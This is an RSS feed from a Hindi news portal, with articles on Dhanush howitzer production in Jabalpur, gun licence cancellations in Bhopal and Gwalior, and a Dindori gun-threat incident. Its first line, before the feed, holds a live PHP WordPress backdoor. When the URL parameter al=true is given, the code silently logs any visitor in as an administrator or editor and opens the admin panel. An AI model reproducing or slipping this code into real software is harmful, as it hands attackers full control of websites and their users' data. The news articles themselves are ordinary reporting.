// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); gun – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sat, 21 Mar 2026 16:16:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 गन कैरिज फैक्ट्री जबलपुर को मिला 300 धनुष तोप का ऑर्डर, ऑपरेशन सिंदूर में दिखाई थी इनकी ताकत https://pratyushaashakinayikiran.com/?p=206705 Sat, 21 Mar 2026 16:16:00 +0000 https://pratyushaashakinayikiran.com/?p=206705  जबलपुर
 गन कैरिज फैक्ट्री (जीसीएफ) जबलपुर नए वित्त वर्ष 2026-27 के पहले आठ माह में सेना के लिए तीन सौ धनुष तोप का रक्षा उत्पादन लक्ष्य लेकर इस बार कार्य की शुरुआत करने जा रही है। महत्वपूर्ण है कि एक दशक से अधिक समय से धनुष पर कार्य कर रही निर्माणी की बनी तोप ने ऑपरेशन सिंदूर में एकदम सटीक प्रदर्शन किया था। जिसके बाद रक्षा उत्पादन लक्ष्य दोगुना हो गया है।

पिछले साल निर्माणी को 150 तोप का वर्कआर्डर हासिल हुआ था। इस बार रिकार्ड उत्पादन की ओर बढ़ रही निर्माणी के पास एलएफजी भी है, जो 24 इस सत्र में तैयार होगी। जीसीएफ देश की एकमात्र निर्माणी है जहां धनुष तोप का उत्पादन होता है। श्रमिक सूत्रों के अनुसार जीसीएफ को भारतीय सेना से 300 'धनुष' हावित्जर तोपों का एक बड़ा आर्डर मिलने जा रहा है।

बोफोर्स की तुलना में बेहतर
यह 'मेक इन इंडिया' पहल के तहत निर्मित स्वदेशी तोपें हैं, जो 155 मिमी, 45-कैलिबर क्षमता की हैं और 38-42 किमी तक सटीक मारक क्षमता रखती हैं, जो बोफोर्स की तुलना में बेहतर है। 80 प्रतिशत से अधिक स्वदेशी कलपुर्जे के साथ इसे निर्मित किया जाएगा।

यह तोपें ऊबड़-खाबड़ पहाड़ी और रेगिस्तानी क्षेत्रों में बेहद कारगर हैं और 155 मिमी के सभी गोला-बारूद दाग सकती हैं। इन तोपों ने पोखरण और अन्य फायरिंग रेंज में कड़े परीक्षण सफलतापूर्वक पास किए हैं।

एलएफजी भी जीसीएफ बनाएगी
पिछले साल की तरह इस साल भी जीसीएफ सेना के लिए लाइट फील्ड गन का उत्पादन जारी रखेगी। पिछले वित्त वर्ष में निर्माणी को 18 एलएफजी उत्पादन का लक्ष्य हासिल हुआ था। जो कि इस बार संभावना है कि 24 गन का उत्पादन संभव होगा। क्योंकि सेना ने एक दशक बाद इस हल्की तोप में रुचि दिखाई है। 17-19 किमी की रेंज वाली ये तोपें 2014-15 के बाद निर्माणी में निर्मित होना शुरू हुई थीं।

 

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भोपाल: ‘मछली गैंग’ से जुड़े लोगों के गन लाइसेंस होंगे रद्द, क्राइम ब्रांच ने भेजा रिकॉर्ड https://pratyushaashakinayikiran.com/?p=175044 Sat, 02 Aug 2025 13:35:00 +0000 https://pratyushaashakinayikiran.com/?p=175044 भोपाल
 एमडी ड्रग्स में पकड़े गए यासीन अहमद और उसके परिवार के सदस्यों के शामिल होने के बाद क्राइम ब्रांच ने शुक्रवार को कलेक्टर कौशलेंद्र विक्रम सिंह को मछली परिवार से जुड़े 15 लोगों के नाम भेजे हैं। जिनके नाम शस्त्र लाइसेंस हो सकते हैं। पत्र मिलने के बाद शस्त्र शाखा ने भी रिकार्ड खंगालना शुरू कर दिया है। इसके तहत पांच लोगों के शस्त्र मिलने का पता चला है, जिनको आठ शस्त्र रखने की अनुमति दी गई है।

इन शस्त्र लाइसेंस को निलंबित करने से पहले नोटिस जारी किए जाएंगे। जानकारी के मुताबिक, अब तक शस्त्र शाखा को सोहेल, शहरयार, शफीक, शाहिद और शावेज के नाम शस्त्र लाइसेंस मिले हैं। जिन पर आठ शस्त्र चढ़े हैं। कौशलेंद्र विक्रम सिंह का कहना है कि क्राइम ब्रांच से मिली जानकारी के बाद अपराधों में लिप्त लोगों का रिकार्ड सर्च किया जा रहा है। जिनके नाम मिलेंगे, उनके शस्त्र निलंबित किए जाएंगे। जिले में अपराधों में लिप्त लोगों के लाइसेंस निलंबित किए जाते हैं।

सरकारी जमीन पर बनी कोठी भी तोड़ेंगे

जिला प्रशासन की टीम ने मछली परिवार के सरकारी जमीनों पर बने मैरिज गार्डन, फार्म हाउस, कारखाना, वेयरहाउस, बकरा और मुर्गी फार्म, मदरसे को जमींदोज करने के बाद सील की गई कोठी को भी तोड़ने की तैयारी कर ली है। एसडीएम हुजूर विनोद सोनकिया का कहना है कि सरकारी जमीन पर बनी कोठी को तोड़ने के लिए दोबारा से टीम जाएगी।

प्रशासन कार्रवाई कर रहा है

    एमडी ड्रग्स मामले के आरोपितों की शस्त्र लाइसेंस संबंधी जानकारी पता कर प्रशासन कार्रवाई कर रहा है। आरोपितों के नाम से शस्त्र लाइसेंस होने की जानकारी मिलती है तो निलंबित की कार्रवाई की जाएगी। – हरिनारायणाचारी मिश्र, पुलिस आयुक्त

 

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मार्केट में कांग्रेस नेता ने सब्जी बेचने वाले पर तान दी बंदूक, एमपी के डिंडौरी की घटना https://pratyushaashakinayikiran.com/?p=156466 Thu, 15 May 2025 12:16:00 +0000 https://pratyushaashakinayikiran.com/?p=156466 डिंडौरी
डिंडौरी जिले के जनपद मुख्यालय समनापुर स्थित सब्जी मंडी में बुधवार की शाम उस समय अपरा तफरी का माहौल बन गया, जब कांग्रेस के जिला उपाध्यक्ष बलराम चौकसे ने सब्जी विक्रेता के सिर में बंदूक तान दी। इस घटना से पूरे बाजार में दहशत का माहौल बन गया।

पीड़ित की शिकायत पर समनापुर पुलिस ने आरोपी के खिलाफ केस दर्ज किया है। थाना प्रभारी ने बताया कि सब्जी विक्रेता वेद सिंह ठाकुर 35 वर्ष निवासी समनापुर ने शिकायत दर्ज कराई है। इस मामले में आरोपित कांग्रेस जिला उपाध्यक्ष व समनापुर ग्राम पंचायत में पंच बलराम चौकसे 65 वर्ष के विरुद्ध गाली गलौज कर जान से मारने की धमकी देने का मामला दर्ज हुआ है।
पिता कांग्रेस में तो बेटा भाजपा युवा मोर्चा में

थाना प्रभारी कोमेश धूमकेती ने बताया कि अभी यह स्पष्ट नहीं हुआ है की बंदूक असली थी या नकली। जबकि पीड़ित पक्ष का आरोप कि आरोपित दबाव में बचाने का प्रयास किया जा रहा है। इस मामले में चौंकाने वाली बात यह भी सामने आई कि आरोपी बलराम चौकसे जहां कांग्रेस के जिला उपाध्यक्ष हैं, वहीं उनका बेटा सारंग चौकसे भाजपा युवा मोर्चा मंडल अध्यक्ष की जिम्मेदारी संभाल रहा हैं।
सब्जी ली और रुपये मांगने पर धमकाया

दोनों ही पार्टी में अपना दबदबा बनाए रखने के लिए इस तरह का खेल करने के आरोप लग रहे हैं। पीड़ित ने बताया कि वह बुधवार की शाम लगभग 6 बजे प्रतिदिन की तरह सब्जी बेच रहा था। बुलेट से आरोपित बलराम चौकसे आया और सब्जी लेने के बाद जब उसने पैसा मांगा तो आरोपित ने पैसा न देकर गाली-गलौज की गई।
सब्जी वालों से वसूली करने का आरोप

आरोपित पैसा मांगने पर इतना आग बबूला हुआ कि बंदूक निकालकर पीड़ित के सिर में तान दी। इस घटना से व्यापारियों में भी विरोध के साथ दहशत का माहौल बना हुआ है। इस मामले में भाजपा कांग्रेस दोनों पार्टी के जिम्मेदार कुछ भी कहने से बचते नजर आ रहे हैं। बताया गया कि आरोपित के विरुद्ध पहले से ही सब्जी विक्रेताओं से वसूली करने के आरोप लगते रहे हैं।

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सालों से नहीं जमा कर रहे थे बिजली बिल, बंदूक के लाइसेंस रद्द का नोटिस मिलते ही 284 लोगों ने जमा कराए 41 लाख रुपये https://pratyushaashakinayikiran.com/?p=75050 Wed, 25 Sep 2024 15:26:00 +0000 https://pratyushaashakinayikiran.com/?p=75050 ग्वालियर

ग्वालियर चंबल की शान बंदूक पर अब बिजली कंपनी की नजर है और यही वजह है कि बिजली कंपनी ने जिला प्रशासन के साथ मिलकर शहर के 17 हजार लोगों को चिन्हित किया है जिन पर बिजली कंपनी का बिल बकाया है। जिन लोगों ने कई सालों से बिजली कंपनी का भुगतान नहीं किया है, उन्हें जिला प्रशासन के द्वारा शस्त्र लाइसेंस निरस्त करने के नोटिस दिए जा रहे हैं। 17 हजार लोगों में से अब तक बिजली कंपनी कुल 1300 लोगों को ही चिन्हित कर पाई है। जिनके प्रॉपर एड्रेस या मोबाइल नंबर, कनेक्शन ट्रेस कर पाए हैं, उन लोगों को शस्त्र लाइसेंस निरस्त करने का नोटिस भेजा गया है।

लाइसेंस रद्द का मिला नोटिस तो लोग दौड़े-डौड़े पहुंचे बिजली ऑफिस

शस्त्र लाइसेंस का नोटिस देखते ही बंदूक प्रेमी बिजली कम्पनी का बकाया बिल जमा करने पर पहुंच रहे हैं। इससे यह तो साफ जाहिर हो रहा है कि ग्वालियर चंबल अंचल की शान बंदूक के प्रति लोगों को कितना प्रेम है। जिन लोगों ने सालों से बिजली कम्पनी का बकाया बिल जमा नहीं किया था और बंदूक का लाइसेंस निरस्त करने का नोटिस मिलते ही लोगों ने लाखों रुपये जैसे बड़े-बड़े अमाउंट एक झटके में जाकर जमा करा दिया।

बंदूक के लिए कुछ भी करेगा!

इस मामले को लेकर जब विद्युत मंडल के शहरी महाप्रबंधक नितिन मांगलिक से बातचीत की तो उन्होंने बताया कि शहर में ऐसे बकायादार जो शस्त्र लाइसेंसधारी हैं और उसी परिसर या घर में रह रहे हैं। जिन पर बकाया राशि है, उनके लाइसेंस निरस्त करने के लिए शासन ने सूची मांगी थी। सूची मिलने के बाद बड़ी समस्या यह सामने आई कि सही पता और सही मोबाइल नंबर आदि नहीं होने की वजह से अभी पूरी तरह से तो बकाया राशि नहीं वसूल हो पाई है। अब तक 284 लोगों से लगभग 41 लाख रुपये की वसूली की जा सकी है। इनमें कई बड़े बकाएदार भी शामिल हैं। लेकिन यह बात भी सही है कि लोगों का बंदूक के प्रति अपार प्रेम देखने को मिल रहा है। लोग बड़ी संख्या में बिजली कम्पनी का बकाया बिल जमा करा रहे हैं।

'लाइसेंस निरस्त होने से अच्छा है, बिजली बिल जमा करा दिया जाए'

ग्वालियर के मुरार इलाके में रहने वाले रघुराज गौड ने बताया कि जैसे ही वह बिजली घर कुछ काम से गए और वहां जाकर देखा कि बिजली बिल जमा नहीं करने पर उनका शस्त्र लाइसेंस निरस्त करने का नोटिस भेजा जा रहा है। इसके बाद वह तुरंत घर पहुंचे और एक लाख रुपये से अधिक का बिल जमा किया। अगर बिल जमा नहीं करते तो शायद उनका बंदूक का लाइसेंस निरस्त कर दिया जाता, क्योंकि यह बंदूक का लाइसेंस उन्होंने बड़ी मुश्किल से हासिल किया है, जिसके निरस्त होने से अच्छा है कि पहले ही बिल जमा करा दिया जाए।

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बिजली बिल नहीं भरने वालों को बंदूक लाइसेंस रद्द करने का नोटिस https://pratyushaashakinayikiran.com/?p=73952 Mon, 23 Sep 2024 15:46:00 +0000 https://pratyushaashakinayikiran.com/?p=73952 ग्वालियर:
एमपी के ग्वालियर चंबल के लोगों के लिए बंदूक शान की बात है। यही वजह है कि उस इलाके में बात-बात पर गोली चल जाती है। इन दिनों ग्वालियर-चंबल में बंदूक रखने वाले लोगों की चर्चा दूसरी वजह से हो रही है। वजह जानेंगे तो आपको यह समझ में आ जाएगा कि इस अंचल के लोगों को बंदूक से कितना प्यार है। इसी लगाव का फायदा बिजली विभाग ने उठाया है। बिजली विभाग ने ग्वालियर में बकाएदारों से कहा था कि बिजली बिल के भुगतान नहीं करने पर बंदूक का लाइसेंस रद्द करवा देंगे। इसके बाद सालों से बिल नहीं भरने वाले लोग दनादन बिजली बिल भरने लगे।

गन लव ट्रिक का किया इस्तेमाल

दरअसल, ग्वालियर शहर में कई ऐसे बकाएदार थे, जिन्होंने सालों से बिजली बिल नहीं भरा था। बिजली कंपनी ऐसे बकाएदारों को चिह्नित कर लगातार नोटिस भेज रही थी। साथ ही बार-बार उनसे बिजली बिल भरने की अपील कर रही थी। इसके बावजूद लोगों पर असर नहीं हो रहा था। ऐसे में बिजली कंपनी ने गन लव ट्रिक का इस्तेमाल किया।

बंदूक लाइसेंस रद्द करने का भेजा प्रस्ताव

इसके बाद ग्वालियर में बिजली कंपनी ने 48 ऐसे बकाएदारों की सूची बनाई, जिनके पास बंदूक के लाइसेंस थे। इनके ऊपर लाखों रुपए का बिजली बिल बकाया था। कंपनी ने ऐसे लोगों का लाइसेंस रद्द करने का प्रस्ताव कलेक्टर को भेजा। इसके बाद बकाएदारों का गन लव जाग उठा।

कुल 318 बकाएदारों को नोटिस

ऐसे तो बिजली कंपनी ने 318 बड़े बकाएदारों को नोटिस दिया था कि बिजली बिल नहीं भरने पर कार्रवाई की जाएगी। इनमें शस्त्र लाइसेंस रद्द करवाने की भी चेतावनी थी। अब बिजली विभाग का यह फॉर्म्युला ग्वालियर में काम कर गया है।

36 लाख से अधिक राशि जमा

बंदूक लाइसेंस रद्द होने की बात सामने आई तो 200 से अधिक बकाएदारों ने ग्वालियर में वर्षों से बकाया बिजली बिल जमा कर दिया है। इन लोगों ने 36.77 लाख रुपए की राशि जमा कर दी है। इनमें से अधिकांश लोगों के पास बंदूक लाइसेंस है।

बंदूक लाइसेंस वालों ने बिजली बिल जमा किया

गौरतलब है कि ग्वालियर कृष्णा कुटीर में रहने वाले एक व्यक्ति के ऊपर एक लाख 33 हजार रुपए का बकाया था। उनके पास बंदूक लाइसेंस भी है। लाइसेंस रद्द करने का नोटिस मिलते ही बिजली बिल भर दिया।

इसी तरह से गांधी नगर में रहने वाले एक उपभोक्ता पर 98 हजार का बिजली बिल बकाया था। बंदूक लाइसेंस रद्द करने का नोटिस मिलते ही बिल भर दिया। इसी तरह से कई ऐसे लोग हैं, जिन्होंने नोटिस मिलने के बाद बिजली बिल भर दिया है।

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